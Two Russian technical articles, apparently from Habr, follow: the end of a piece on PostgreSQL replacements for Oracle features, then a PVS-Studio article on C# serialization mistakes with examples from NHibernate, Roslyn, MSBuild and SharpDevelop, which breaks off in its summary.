**Для получения части возможностей пакета DBMS\_PARALLEL\_EXECUTE** **можно использовать модуль** [**pg\_background**](https://github.com/vibhorkum/pg_background). В этом случае создаются фоновые процессы, каждый из которых подключается к требуемой базе данных и выполняет прикладной код. Модуль позволяет дождаться их завершения и проверить результаты работы. На основе этого принимается решение о дальнейшем выполнении той или иной части бизнес-логики.
Поскольку DBMS\_PARALLEL\_EXECUTE использует в своей работе DBMS\_SCHEDULER, можно разделить данные на задания и обрабатывать их по расписанию. Для этого **есть модуль** [**pg\_cron**](https://github.com/citusdata/pg_cron)**, для наших клиентов доступен модуль** [**pgpro\_scheduler**](https://postgrespro.ru/docs/enterprise/14/pgpro-scheduler), поставляемый в составе [Postgres Pro Enterprise](https://postgrespro.ru/products/postgrespro/enterprise). Существует также множество планировщиков заданий на языке высокого уровня таких как Java, C#, Golang.
Также, пользуясь случаем, **стоит развеять миф о** [**pgAgent**](https://github.com/postgres/pgagent) - есть ошибочное мнение о том, что его можно установить только с [pgAdmin](https://github.com/postgres/pgadmin4). Это отдельное решение, состоящее из расширения на языке PL/pgSQL и C++. Ниже приведены его основные функции:
1. Периодическая проверка расписаний заданий.
2. Поиск заданий на выполнение.
3. Выполнение найденного задания.
Агент - фоновый процесс, логика которого реализована на основе функционала набора библиотек [libboost](https://www.boost.org/doc/). На ОС Astra Linux Smolensk 1.6 доводилось ставить pgAgent и можно сказать, что он там вполне неплохо работает. Пакеты libboost там есть, поэтому проблем возникнуть не должно.
**Условия фильтрации в секциях WHERE**
Условия фильтрациив секциях WHERE могут быть разными. Допустим, что поле таблицы больше или равно значению некоторой функции. Функции в СУБД PostgreSQL бывают разными с точки зрения категории изменчивости.
Есть неизменяемые ([IMMUTABLE](https://postgrespro.ru/docs/postgresql/14/xfunc-volatility)) функции, возвращающие одинаковый результат при одном и том же наборе входных данных. **Такие функции можно вычислить на этапе планирования**. В этом случае планировщик может довольно точно определить расчётное количество строк того или иного узла плана выполнения запроса.
Есть случаи, когда значение функции нельзя вычислить на этапе планирования (**STABLE** и **VOLATILE**). Тогда планировщик часто возвращает значение по умолчанию, что часто приводит к некорректным методам доступа к данным и соединений множеств.
[NULLIF](https://postgrespro.ru/docs/postgresql/14/functions-conditional#FUNCTIONS-NULLIF)**до 14-ой версии** вообще стоит заменять на **col\_name IS NOT NULL AND col\_name != ‘’**. Как правило, такую конструкцию используют для необязательных условий фильтрации. Если значение этого поля не указано, то по нему ничего фильтровать не нужно.
Если использовать предложенную конструкцию, то планировщик будет видеть прописанные необязательные значения параметров, условие фильтрации будет учтено в итоговом плане выполнения. Если там ничего не будет прописано, то в плане часть условий фильтрации будет убрано.
С 14-ой версии планировщик стал вычислять выражения NULLIF на этапе построения плана запроса:
```
EXPLAIN (ANALYZE, TIMING OFF, COSTS OFF, SUMMARY OFF)
SELECT * FROM tickets WHERE NULLIF(1, 2) = 2;
QUERY PLAN
--------------------------------
Result (actual rows=0 loops=1)
One-Time Filter: false
```
Как уже было сказано выше, поскольку некоторые функции не могут быть вычислены на этапе планирования, **возможны расхождения между расчётным и фактическим количеством строк** в определённых узлах плана. Это может привести не только к некорректному выбору метода доступа к данным, но и к некорректному соединению множеств. Есть много случаев, когда некорректный способ соединения не позволял запросу выполниться быстро, от этого замедлялась работа всего приложения.
**Использование механизма очередей**
Существует несколько подходов - можно использовать **select for update skip locked, модуль** [**pgq**](https://github.com/pgq/pgq)**.** Следует ответить, что нужно проверять скорость, соответствует ли она бизнес-требованиям.
**Очередь также можно вынести на уровень приложения** и использовать [Apache Kafka](https://kafka.apache.org/24/documentation.html), [Apache ActiveMQ](https://activemq.apache.org/components/classic/documentation), [RabbitMQ](https://www.rabbitmq.com/documentation.html) и [Celery](http://www.pythondoc.com/celery-3.1.11/getting-started/introduction.html). Эти решения достаточно популярны на рынке и часто встречаются в высоко нагруженных системах.
**Технологии построения веб-приложений**
Технологии построения веб-приложений типа [APEX](https://apex.oracle.com/en/learn/documentation/) в PostgreSQL **отсутствуют**. Эта задача достаточно сложна в реализации, там нужно много всего предусмотреть - в частности, хранение обработчиков событий в хранимом коде, JavaScript, написание интерфейсов, разработку выполняемой на серверах приложений логики. **Требуется разработка отдельного приложения**.
**Взаимодействие с внешними сервисами по протоколу HTTP**
Что касается взаимодействия с внешними сервисами по протоколу HTTP, то тут даже в СУБД Oracle есть нюанс. Начиная с версии 11, прежде чем пытаться кому-то что-то отправить, нужно прописать специальные настройки во внутреннем [файерволе Oracle](https://www.oracle.com/technetwork/database/security/ovw-oracle-database-firewall-1447166.pdf). В противном случае, любая попытка взаимодействия с внешним источником будет отклонена СУБД.
В PL/pgSQL так делать нельзя, по определению считается, что им может пользоваться любой пользователь, и при этом его действия не будут противоречить требованиям безопасности. Если аналогичную вещь нужно реализовать, **можно использовать:**
1. **Модуль прикладного приложения.**
2. **pl/python.**
3. **pl/perl.**
Если хранимая процедура ожидает ответа от какого-то внешнего сервиса, то основное приложение становится от него зависимым. Отказ этого сервиса не должен приводить к отказу приложения. Если сервис отказал, то увеличивается время ожидающей от него ответа транзакции, что, в свою очередь, не позволит удалить старые версии строк процессам очистки.
Кроме того, сам вызов внешнего сервиса может быть успешным, а породившая его транзакция может быть отменена. Это может привести к плохим последствиям, в частности, при переводе средств.
**Использование PL/SQL коллекций и объектов**
Вложенные таблицы ([nested tables](https://www.oracletutorial.com/plsql-tutorial/plsql-nested-tables/)) можно заменить массивом пользовательских или встроенных типов.
Ассоциативные массивы - [hstore](https://postgrespro.ru/docs/postgresql/14/hstore) или [JSONB](https://postgrespro.ru/docs/postgresql/14/datatype-json#JSON-KEYS-ELEMENTS).
Стоит отметить, что в Postgres, в отличие от Oracle, **нужно явно указывать переменную с типом record** и использовать её в конструкциях типа [for rec in (query) loop](https://postgrespro.ru/docs/postgresql/14/plpgsql-control-structures).
Также важно, что **в PL/pgSQL не поддерживается объектно-ориентированное программирование (**[**ООП**](https://www.tutorialspoint.com/plsql/plsql_object_oriented.htm)**)**. Если логика приложения завязана на объекты с большим количеством функций, то это придётся переписывать.
**Bulk collect**
[bulk collect](https://blogs.oracle.com/connect/post/bulk-processing-with-bulk-collect-and-forall) используется в СУБД Oracle для размещения данных в коллекцию и **уменьшения количества переключений с PL/SQL-контекста на SQL-контекст**. Чем больше переключений, тем медленнее скорость работы. Планировщику нужно будет проверить:
1. Наличие плана выполнения в локальном кеше процесса.
2. При отсутствие плана разобрать запрос, выбрать оптимальный план его выполнения, поместить в кэш и выполнить.
Ниже приведён пример замены bulk collect с помощью массива:
```
CREATE OR REPLACE FUNCTION bulk_test() RETURNS VOID AS
$$
DECLARE
a tb_person[];
BEGIN
a := array(SELECT tb_person FROM tb_person);
...
END;
$$
LANGUAGE plpgsql;
```
Однако для хранения элементов массива требуется память. СУБД PostgreSQL не даёт выделить больше 1 ГБ памяти за один раз. Были случаи, когда объём массива превышал 1 ГБ, в результате, в результате, часть логики переписывалась.
**Пользовательские константы**
Константы с течением времени не меняются, значит, их можно оформить в виде неизменяемых (IMMUTABLE) функций, значение которых вычисляется на этапе планирования.
Если константы используются только внутри процедуры/функции, то их можно объявить в секции DECLARE:
```
DO
$$
DECLARE
msg constant text := 'Message 1';
BEGIN
RAISE NOTICE '%', msg;
END
$$
LANGUAGE plpgsql;
```
**Ref-курсоры**
В СУБД PostgreSQL можно объявить переменную типа [refcursor](https://postgrespro.ru/docs/postgresql/14/plpgsql-cursors) и передавать её в качестве возвращаемого значения приложению. В результате оно будет извлекать данные, на которые ссылается этот ref-курсор. Вот как это выглядит:
```
CREATE OR REPLACE FUNCTION get_employees_by_deptno (
p_deptno IN emp.deptno%TYPE,
p_rset REFCURSOR
)
RETURNS REFCURSOR AS
$$
BEGIN
OPEN p_rset FOR
SELECT empno
, ename
FROM emp
WHERE deptno = p_deptno
ORDER BY ename;
RETURN p_rset;
END;
$$
LANGUAGE plpgsql STABLE;
```
В следующей, [четвёртой статье](https://habr.com/ru/company/postgrespro/blog/683764/) будут разобраны оставшиеся особенности кода приложения на СУБД Oracle, для которых нужно находить обходные пути из-за отсутствия прямых аналогов в СУБД PostgreSQL. Это завершающая статья цикла, в которой также будет рассмотрен выбор средств конвертации кода, конвертация и адаптация кода. | https://habr.com/ru/post/683748/ | null | ru | null |
# Как не наступить на грабли, работая с сериализацией
Несмотря на то, что использовать механизм сериализации при программировании на C# достаточно просто и удобно, есть моменты, которые стоит учитывать. О том, на какие грабли можно наступить, работая с сериализацией, о примерах кода, в котором эти грабли припрятаны, а также о том, как PVS-Studio поможет вам избежать шишек на лбу, и будет эта статья.
Для кого статья?
----------------
Данная статья будет особенно полезна разработчикам, только начинающим знакомиться с механизмом сериализации. Более опытные программисты также могут почерпнуть для себя что-то интересное, или просто убедиться, что даже профессионалы порой допускают ошибки.
Тем не менее, подразумевается, что читатель уже знаком с механизмом сериализации.
При чём тут PVS-Studio? В [релизе 6.05](http://www.viva64.com/en/d/0013/) были добавлены 6 диагностических правил, обнаруживающих подозрительный код, связанный с использованием механизма сериализации. Эти диагностики в основном ищут проблемные места, связанные с атрибутом *[Serializable]* или реализацией интерфейса *ISerializable*.
**Примечание.**
Стоит понимать, что описанные в статье утверждения актуальны для некоторых сериализаторов, например — *BinaryFormatter* и *SoapFormatter*, а для других, например, собственноручно написанного сериализатора, поведение может отличаться. Например, отсутствие атрибута *[Serializable]* у класса может не помешать проводить его сериализацию и десериализацию собственным сериализатором.
Кстати, если вы работаете с сериализацией, советую [загрузить](http://www.viva64.com/ru/pvs-studio-download/) пробную версию анализатора и проверить свой код на наличие подозрительных мест.
Реализуя ISerializable, не забудьте про конструктор сериализации
----------------------------------------------------------------
Реализация типом интерфейса *ISerializable* позволяет управлять сериализацией, выбирая, какие члены нужно сериализовать, какие — нет, какие значение нужно записывать при сериализации членов и т.п.
Интерфейс *ISerializable* содержит объявление одного метода — *GetObjectData*, который будет вызван при сериализации объекта. Но в паре с этим методом обязательно должен быть реализован конструктор, который будет вызываться при десериализации объекта. Так как интерфейс не может обязать вас реализовать в своем типе какой-то конструктор, эта задача ложится на плечи программиста, занимающегося реализацией сериализуемого типа. Конструктор сериализации имеет следующую сигнатуру:
```
Ctor(SerializationInfo, StreamingContext)
```
Без наличия данного конструктора сериализация объекта пройдёт успешно (при условии корректной реализации метода *GetObjectData*), но восстановить (десериализовать) его не удастся — будет сгенерировано исключение типа *SerializationException*.
Посмотрим на пример подобного кода из проекта Glimpse:
```
[Serializable]
internal class SerializableTestObject : ISerializable
{
public string TestProperty { get; set; }
public void GetObjectData(SerializationInfo info,
StreamingContext context)
{
info.AddValue("TestProperty", this.TestProperty);
}
}
```
**Предупреждение PVS-Studio:** [V3094](http://www.viva64.com/ru/d/0505/) Possible exception when deserializing. The SerializableTestObject(SerializationInfo, StreamingContext) constructor is missing. Glimpse.Test.AspNet SessionModelConverterShould.cs 111
Сериализация экземпляра данного класса пройдёт успешно, а вот при десериализации возникнет исключение, так как нет соответствующего конструктора. Скорее всего, это не ошибка (исходя из названия класса и файла), но в качестве иллюстрации описанной ситуации — то, что нужно.
Конструктор сериализации для данного класса мог бы выглядеть так:
```
protected SerializableTestObject(SerializationInfo info,
StreamingContext context)
{
TestProperty = info.GetString(nameof(TestProperty));
}
```
Обращайте внимание на модификатор доступа конструктора сериализации
-------------------------------------------------------------------
При разработке типа, реализующего интерфейс *ISerializable*, важно правильно определить модификатор доступа для конструктора сериализации. Здесь возможны несколько случаев:* конструктор сериализации объявлен с модификатором *private* в незапечатанном классе;
* конструктор сериализации объявлен с модификатором доступа *public* или *internal*;
* конструктор сериализации объявлен с модификатором *protected* в запечатанном классе.
Наибольший интерес представляет первый из приведённых выше вариантов, так как он таит в себе наибольшую опасность. Кратко остановимся и на втором пункте, а третий рассматривать не будем — объявить член с модификатором *protected* в структуре не даст компилятор (ошибка компиляции), если такой член объявляется в запечатанном классе — компилятор выдаст предупреждение.
### Конструктор сериализации в незапечатанном классе имеет модификатор доступа 'private'
Это наиболее опасный случай из ситуаций неправильного применения модификаторов доступа к конструкторам сериализации. Если тип является незапечатанным, подразумевается, что у него могут быть наследники. Однако если конструктор сериализации имеет модификатор доступа *private*, он не сможет быть вызван из дочернего класса.
В таком случае у разработчика дочернего класса есть 2 выхода — отказаться от использования данного родительского класса или вручную десериализовать члены базового класса. Стоит отметить, что второй случай навряд ли можно считать решением проблемы:* не факт, что в базовом классе была предусмотрена тривиальная десериализация членов;
* разработчик дочернего класса может забыть десереализовать какой-либо член базового класса;
* при всём желании, десериализовать приватные члены базового класса не удастся.
Поэтому, разрабатывая незапечатанный сериализуемый класс, обращайте внимание на то, какой модификатор доступа имеет конструктор сериализации.
При анализе проектов удалось найти несколько таких, в которых описанное выше правило не соблюдалось.
**NHibernate**
```
[Serializable]
public class ConnectionManager : ISerializable,
IDeserializationCallback
{
....
private ConnectionManager(SerializationInfo info,
StreamingContext context)
{
....
}
....
}
```
**Предупреждение PVS-Studio:** [V3103](http://www.viva64.com/ru/d/0509/) A private Ctor(SerializationInfo, StreamingContext) constructor in unsealed type will not be accessible when deserializing derived types. NHibernate ConnectionManager.cs 276
**Roslyn**
```
[Serializable]
private class TestDiagnostic : Diagnostic, ISerializable
{
....
private TestDiagnostic (SerializationInfo info,
StreamingContext context)
{
....
}
....
}
```
**Предупреждение PVS-Studio:** [V3103](http://www.viva64.com/ru/d/0509/) A private TestDiagnostic(SerializationInfo, StreamingContext) constructor in unsealed type will not be accessible when deserializing derived types. DiagnosticAnalyzerTests.cs 100
В обоих примерах, приведённых выше, у конструктора сериализации следовало установить модификатор доступа *protected*, чтобы дочерние классы могли вызвать его при десериализации.
### Не объявляйте конструктор сериализации с модификаторами 'public' или 'internal'
Это совет хорошего стиля программирования. Объявление конструктора сериализации с модификатором *public* или *internal* не приведёт к ошибке, но смысла в этом нет — данный конструктор не должен вызываться извне, а сериализатору без разницы, какой модификатор доступа имеет конструктор.
При проверке open source проектов встретились несколько таких, в которых это правило не соблюдалось.
**MSBuild**
```
[Serializable]
private sealed class FileState : ISerializable
{
....
internal SystemState(SerializationInfo info,
StreamingContext context)
{
....
}
....
}
```
**Предупреждение PVS-Studio:** [V3103](http://www.viva64.com/ru/d/0509/) The Ctor(SerializationInfo, StreamingContext) constructor should be used for deserialization. Making it internal is not recommended. Consider making it private. Microsoft.Build.Tasks SystemState.cs 218
```
[Serializable]
private sealed class FileState : ISerializable
{
....
internal FileState(SerializationInfo info, StreamingContext context)
{
....
}
....
}
```
**Предупреждение PVS-Studio:** [V3103](http://www.viva64.com/ru/d/0509/) The Ctor(SerializationInfo, StreamingContext) constructor should be used for deserialization. Making it internal is not recommended. Consider making it private. Microsoft.Build.Tasks SystemState.cs 139
В обоих случаях для конструктора сериализации следовало установить модификатор доступа *private*, так оба класса, приведённых выше, являются запечатанными.
**NHibernate**
```
[Serializable]
public class StatefulPersistenceContext : IPersistenceContext,
ISerializable,
IDeserializationCallback
{
....
internal StatefulPersistenceContext(SerializationInfo info,
StreamingContext context)
{
....
}
....
}
```
**Предупреждение PVS-Studio:** [V3103](http://www.viva64.com/ru/d/0509/) The Ctor(SerializationInfo, StreamingContext) constructor should be used for deserialization. Making it internal is not recommended. Consider making it protected. NHibernate StatefulPersistenceContext.cs 1478
```
[Serializable]
public class Configuration : ISerializable
{
....
public Configuration(SerializationInfo info,
StreamingContext context)
{
....
}
....
}
```
**Предупреждение PVS-Studio:** [V3103](http://www.viva64.com/ru/d/0509/) The Ctor(SerializationInfo, StreamingContext) constructor should be used for deserialization. Making it public is not recommended. Consider making it protected. NHibernate Configuration.cs 84
Ввиду того, что оба класса являются незапечатанными, для конструкторов сериализации следовало установить модификатор доступа *protected*.
Реализуйте виртуальный метод GetObjectData в незапечатанных классах
-------------------------------------------------------------------
Правило простое — если вы разрабатываете незапечатанный класс, реализующий интерфейс *ISerializable*, объявите метод *GetObjectData* с модификатором *virtual*. Это позволит дочерним классам корректно производить сериализацию объекта при использовании полиморфизма.
Чтобы лучше понять суть проблемы, предлагаю рассмотреть несколько примеров.
Допустим, у нас есть следующие объявления родительского и дочернего классов.
```
[Serializable]
class Base : ISerializable
{
....
public void GetObjectData(SerializationInfo info,
StreamingContext context)
{
....
}
}
[Serializable]
sealed class Derived : Base
{
....
public new void GetObjectData(SerializationInfo info,
StreamingContext context)
{
....
}
}
```
Предположим, что имеется метод сериализации и десереализации объекта следующего вида:
```
void Foo(BinaryFormatter bf, MemoryStream ms)
{
Base obj = new Derived();
bf.Serialize(ms, obj);
ms.Seek(0, SeekOrigin.Begin);
Derived derObj = (Derived)bf.Deserialize(ms);
}
```
В таком случае сериализация выполнится неправильно из-за того, что будет вызван метод *GetObjectData* не дочернего, а родительского класса. Следовательно, члены дочернего класса не будут сериализованы. Если при десериализации из объекта типа *SerializationInfo* будут извлекаться значения членов, добавляемых в методе *GetObjectData* дочернего класса, будет сгенерировано исключение, так как объект типа *SerializationInfo* не будет содержать запрашиваемых ключей.
Для исправления ошибки в родительском классе к методу *GetObjectData* необходимо добавить модификатор *virtual*, в производном — *override*.
Если в родительском классе присутствует только явная реализация интерфейса *ISerializable*, добавить к ней модификатор *virtual* вы не сможете. Однако оставив всё, как есть, вы рискуете усложнить жизнь разработчикам дочерних классов.
Рассмотрим пример реализации родительского и дочернего классов:
```
[Serializable]
class Base : ISerializable
{
....
void ISerializable.GetObjectData(SerializationInfo info,
StreamingContext context)
{
....
}
}
[Serializable]
sealed class Derived : Base, ISerializable
{
....
public void GetObjectData(SerializationInfo info,
StreamingContext context)
{
....
}
}
```
В таком случае из дочернего класса будет невозможно обратиться к методу *GetObjectData* родительского класса. И если в базовом методе сериализуются приватные члены, обратиться к ним из дочернего класса также не удастся, а значит и не удастся провести корректную сериализацию. Для исправления ошибки помимо явной реализации в базовый класс необходимо добавить неявную реализацию виртуального метода *GetObjectData*. Тогда исправленный код может выглядеть так:
```
[Serializable]
class Base : ISerializable
{
....
void ISerializable.GetObjectData(SerializationInfo info,
StreamingContext context)
{
GetObjectData(info, context);
}
public virtual void GetObjectData(SerializationInfo info,
StreamingContext context)
{
....
}
}
[Serializable]
sealed class Derived : Base
{
....
public override void GetObjectData(SerializationInfo info,
StreamingContext context)
{
....
base.GetObjectData(info, context);
}
}
```
Или же, если не подразумевается наследование данного класса, следует сделать его запечатанным, добавив к объявлению класса модификатор *sealed*.
**Roslyn**
```
[Serializable]
private class TestDiagnostic : Diagnostic, ISerializable
{
private readonly string _kind;
....
private readonly string _message;
....
void ISerializable.GetObjectData(SerializationInfo info,
StreamingContext context)
{
info.AddValue("id", _descriptor.Id);
info.AddValue("kind", _kind);
info.AddValue("message", _message);
info.AddValue("location", _location, typeof(Location));
info.AddValue("severity", _severity, typeof(DiagnosticSeverity));
info.AddValue("defaultSeverity", _descriptor.DefaultSeverity,
typeof(DiagnosticSeverity));
info.AddValue("arguments", _arguments, typeof(object[]));
}
....
}
```
**Предупреждение PVS-Studio:** [V3104](http://www.viva64.com/ru/d/0510/) 'GetObjectData' implementation in unsealed type 'TestDiagnostic' is not virtual, incorrect serialization of derived type is possible. CSharpCompilerSemanticTest DiagnosticAnalyzerTests.cs 112
Класс *TestDiagnostic* является незапечатанным (хоть и приватным, так что унаследоваться от него в рамках того же класса возможно), но при этом он имеет только явную реализацию интерфейса *ISerializable*, в которой, ко всему прочему, сериализуются приватные члены. Это означает одно — разработчик дочернего класса никаким образом не сможет сериализовать необходимые члены: метод *GetObjectData* будет ему недоступен, а обратиться к членам напрямую не позволит модификатор доступа.
Правильнее было бы вынести весь код сериализации, приведённый выше, в виртуальный метод *GetObjectData*, на который сослаться из явной реализации интерфейса:
```
void ISerializable.GetObjectData(SerializationInfo info,
StreamingContext context)
{
GetObjectData(info, context);
}
public virtual void GetObjectData(SerializationInfo info,
StreamingContext context)
{
info.AddValue("id", _descriptor.Id);
info.AddValue("kind", _kind);
info.AddValue("message", _message);
info.AddValue("location", _location, typeof(Location));
info.AddValue("severity", _severity, typeof(DiagnosticSeverity));
info.AddValue("defaultSeverity", _descriptor.DefaultSeverity,
typeof(DiagnosticSeverity));
info.AddValue("arguments", _arguments, typeof(object[]));
}
```
Все сериализуемые члены должны иметь сериализуемый тип
------------------------------------------------------
Это условие является обязательным для корректной сериализации объекта вне зависимости от того, происходит ли автоматическая сериализация (когда тип декорирован атрибутом *[Serializable]* и при этом не реализует интерфейс *ISerializable*) или сериализация осуществляется вручную (реализован *ISerializable*).
В противном случае, если при сериализации встретится член, не декорированный атрибутом *[Serializable]*, будет сгенерировано исключение типа *SerializationException*.
Если требуется сериализовать объект без учёта членов, имеющих несереализуемый тип, возможны несколько подходов:* сделайте несериализуемый тип сериализуемым;
* если происходит автоматическая сериализация, декорируйте поля, которые не нужно сериализовать, атрибутом *[NonSerialized]*;
* если происходит ручная сериализация, просто игнорируйте те члены, которые вам не нужны.
Стоит обратить внимание на тот факт, что атрибут *[NonSerialized]* применим только к полям. Таким образом, вы не сможете запретить сериализацию свойства, но, если оно будет иметь несериализуемый тип — получите исключение. Например, при попытке сериализации класса *SerializedClass*, определение которого приведено ниже:
```
sealed class NonSerializedType { }
[Serializable]
sealed class SerializedClass
{
private Int32 value;
public NonSerializedType NSProp { get; set; }
}
```
Обойти эту ситуацию можно, реализовав свойство через поле, декорированное атрибутом *[NonSerialized]*:
```
[Serializable]
sealed class SerializedClass
{
private Int32 value;
[NonSerialized]
private NonSerializedType nsField;
public NonSerializedType NSProp
{
get { return nsField; }
set { nsField = value; }
}
}
```
Подобные ошибки, когда сериализуемый тип имеет члены несереализуемых типов, не декорированные атрибутом *[NonSerialized]*, обнаруживает диагностическое правило [V3097](http://www.viva64.com/ru/d/0507/) статического анализатора кода PVS-Studio.
Напоминаю, что данное предупреждение не обязательно свидетельствует о наличии ошибки — всё зависит от используемого сериализатора.
Рассмотрим несколько примеров кода, в которых описанное условие было нарушено.
**Subtext**
```
public class BlogUrlHelper
{
....
}
[Serializable]
public class AkismetSpamService : ICommentSpamService
{
....
readonly BlogUrlHelper _urlHelper;
....
}
```
**Предупреждение PVS-Studio:** [V3097](http://www.viva64.com/ru/d/0507/) Possible exception: the 'AkismetSpamService' type marked by [Serializable] contains non-serializable members not marked by [NonSerialized]. Subtext.Framework AkismetSpamService.cs 31
Тип *BlogUrlHelper* поля *\_urlHelper* не является сериализуемым, поэтому при попытке сериализации экземпляра класса *AkismetSpamService* некоторыми сериализаторами, будет сгенерировано исключение типа *SerializationException*. Решать проблему нужно, отталкиваясь от ситуации. Если используются сериализаторы типа *BinaryFormatter* или *SoapFormatter* — необходимо либо декорировать поле атрибутом *[NonSerialized]*, либо декорировать атрибутом *[Serializable]* тип *BlogUrlHepler*. Если используются другие сериализаторы, не требующие наличия атрибута *[Serializable]* у сериализуемых полей, можно не забивать голову.
**NHibernate**
```
public class Organisation
{
....
}
[Serializable]
public class ResponsibleLegalPerson
{
....
private Organisation organisation;
....
}
```
**Предупреждение PVS-Studio:** [V3097](http://www.viva64.com/en/d/0507/) Possible exception: the 'ResponsibleLegalPerson' type marked by [Serializable] contains non-serializable members not marked by [NonSerialized]. NHibernate.Test ResponsibleLegalPerson.cs 9
Ситуация аналогична описанной выше — или пан, или пропал. Всё зависит от используемого сериализатора.
Не забывайте про атрибут [Serializable] при реализации интерфейса ISerializable
-------------------------------------------------------------------------------
Данный совет относится скорее к тем, кто только начинает работать с сериализацией. Управляя сериализацией вручную, посредством реализации интерфейса *ISerializable*, легко забыть декорировать тип атрибутом *[Serializable]*, что потенциально приводит к генерации исключения типа *SerializationException*. Такие сериализаторы, как *BinaryFormatter*, требуют наличия данного атрибута.
**SharpDevelop**
Интересные примеры данной ошибки встретились в проекте SharpDevelop.
```
public class SearchPatternException : Exception, ISerializable
{
....
protected SearchPatternException(SerializationInfo info,
StreamingContext context)
: base(info, context)
{
}
}
```
**Предупреждение PVS-Studio:** [V3096](http://www.viva64.com/ru/d/0506/) Possible exception when serializing 'SearchPatternException' type. [Serializable] attribute is missing. ICSharpCode.AvalonEdit ISearchStrategy.cs 80
```
public class DecompilerException : Exception, ISerializable
{
....
protected DecompilerException(SerializationInfo info,
StreamingContext context)
: base(info, context)
{
}
}
```
**Предупреждение PVS-Studio:** [V3096](http://www.viva64.com/ru/d/0506/) Possible exception when serializing 'DecompilerException' type. [Serializable] attribute is missing. ICSharpCode.Decompiler DecompilerException.cs 28
Для передачи объекта исключения между доменами приложений происходит его сериализация и десериализация. Соответственно, собственные типы исключений должны быть сериализуемыми. В приведённых выше примерах типы *SearchPatternException* и *DecompilerException* наследуются от *Exception* и реализуют конструкторы сериализации, но при этом не декорированы атрибутом *[Serializable]*, а значит, что при попытке сериализации объектов данных типов (например, для передачи между доменами) будет сгенерировано исключение типа *SerializationException*. Таким образом, например, генерируя исключение в другом домене приложений, в текущем вы перехватите не сгенерированное исключение, а *SerializationException*.
Убедитесь, что в методе GetObjectData сериализуются все необходимые члены типа
------------------------------------------------------------------------------
Реализуя интерфейс *ISerializable* и определяя метод *GetObjectData*, вы берёте на себя ответственность за то, какие члены типа будут сериализованы и какие значения в них будут записаны. В этом случае для разработчиков открывается большой простор в управлении сериализацией: в качестве сериализуемого значения, ассоциированного с членом (а если быть более честным — с любой строкой) вы можете записать действительное значение сериализованного объекта, результат работы какого-либо метода, константное или литеральное значение — всё, что захотите.
Однако в данном случае на плечи разработчика ложится большая ответственность, потому что необходимо не забыть никакой член, подлежащий сериализации, даже если он находится в базовом классе. Все мы люди, так что иногда некоторые члены всё же забываются.
Для диагностирования таких ситуаций в статическом анализаторе кода PVS-Studio предусмотрено диагностическое правило [V3099](http://www.viva64.com/ru/d/0508/). Предлагаю ознакомиться с некоторыми примерами кода, обнаруженных данным правилом.
**SharpDevelop**
```
[Serializable]
public abstract class XshdElement
{
public int LineNumber { get; set; }
public int ColumnNumber { get; set; }
public abstract object AcceptVisitor(IXshdVisitor visitor);
}
[Serializable]
public class XshdColor : XshdElement, ISerializable
{
....
public virtual void GetObjectData(SerializationInfo info,
StreamingContext context)
{
if (info == null)
throw new ArgumentNullException("info");
info.AddValue("Name", this.Name);
info.AddValue("Foreground", this.Foreground);
info.AddValue("Background", this.Background);
info.AddValue("HasUnderline", this.Underline.HasValue);
if (this.Underline.HasValue)
info.AddValue("Underline", this.Underline.Value);
info.AddValue("HasWeight", this.FontWeight.HasValue);
if (this.FontWeight.HasValue)
info.AddValue("Weight", this.FontWeight
.Value
.ToOpenTypeWeight());
info.AddValue("HasStyle", this.FontStyle.HasValue);
if (this.FontStyle.HasValue)
info.AddValue("Style", this.FontStyle.Value.ToString());
info.AddValue("ExampleText", this.ExampleText);
}
}
```
**Предупреждение PVS-Studio:** [V3099](http://www.viva64.com/ru/d/0508/) Not all the members of 'XshdColor' type are serialized inside 'GetObjectData' method: LineNumber, ColumnNumber. ICSharpCode.AvalonEdit XshdColor.cs 101
В этом коде нет проблем, описанных ранее, таких как неправильные модификаторы доступа у конструктора сериализации, отсутствие атрибута *[Serializable]* или модификатора *virtual* у метода *GetObjectData*.
Увы, ошибка здесь всё равно есть. В методе *GetObjectData* не учитываются свойства базового класса, а значит, при сериализации часть данных будет потеряна. В итоге, при десериализации будет восстановлен объект с другим состоянием.
В данном случае решением проблемы будет ручное добавление необходимых значений, например, таким образом:
```
info.AddValue(nameof(LineNumber), LineNumber);
info.AddValue(nameof(ColumnNumber), ColumnNumber);
```
Если бы базовый класс также реализовывал интерфейс *ISerializable*, решение было бы более элегантным — вызовом в производном методе *GetObjectData* базового.
**NHibernate**
```
[Serializable]
public sealed class SessionImpl : AbstractSessionImpl,
IEventSource,
ISerializable,
IDeserializationCallback
{
....
void ISerializable.GetObjectData(SerializationInfo info,
StreamingContext context)
{
log.Debug("writting session to serializer");
if (!connectionManager.IsReadyForSerialization)
{
throw new InvalidOperationException("Cannot serialize a Session
while connected");
}
info.AddValue("factory", Factory, typeof(SessionFactoryImpl));
info.AddValue("persistenceContext", persistenceContext,
typeof(StatefulPersistenceContext));
info.AddValue("actionQueue", actionQueue, typeof(ActionQueue));
info.AddValue("timestamp", timestamp);
info.AddValue("flushMode", flushMode);
info.AddValue("cacheMode", cacheMode);
info.AddValue("interceptor", interceptor, typeof(IInterceptor));
info.AddValue("enabledFilters", enabledFilters,
typeof(IDictionary));
info.AddValue("enabledFilterNames", enabledFilterNames,
typeof(List));
info.AddValue("connectionManager", connectionManager,
typeof(ConnectionManager));
}
....
private string fetchProfile;
....
}
```
**Предупреждение PVS-Studio:** [V3099](http://www.viva64.com/ru/d/0508/) Not all the members of 'SessionImpl' type are serialized inside 'GetObjectData' method: fetchProfile. NHibernate SessionImpl.cs 141
На этот раз забыли сериализовать поле текущего класса (*fetchProfile*). Как видно из определения, оно не декорировано атрибутом *[NonSerialized]* (в отличии от других полей, не сериализуемых в методе *GetObjectData*).
В данном проекте нашлось ещё два подобных места:* V3099 Not all the members of 'Configuration' type are serialized inside 'GetObjectData' method: currentDocumentName, preMappingBuildProcessed. NHibernate Configuration.cs 127
* V3099 Not all the members of 'ConnectionManager' type are serialized inside 'GetObjectData' method: flushingFromDtcTransaction. NHibernate ConnectionManager.cs 290
С подобными ошибками связана интересная особенность — они либо приводят к генерации исключения, либо к трудноуловимым логическим ошибкам.
Исключение будет сгенерировано в том случае, если в конструкторе сериализации попытаются получить значение того поля, которое не было добавлено (обратятся по отсутствующему ключу). Если же про член забыли совсем (и в методе *GetObjectData*, и в конструкторе сериализации), будет происходить порча состояния объекта.
Обобщение
---------
Кратко обобщив всю информацию, приведённую выше, можно сформулировать несколько советов и правил:* Декорируйте атрибутом *[Serializable]* типы, реализующие интерфейс *ISerializable*;
* Убедитесь, что все сериализуемые члены декорированы атрибутом *[Serializable]* и корректно сериализуются;
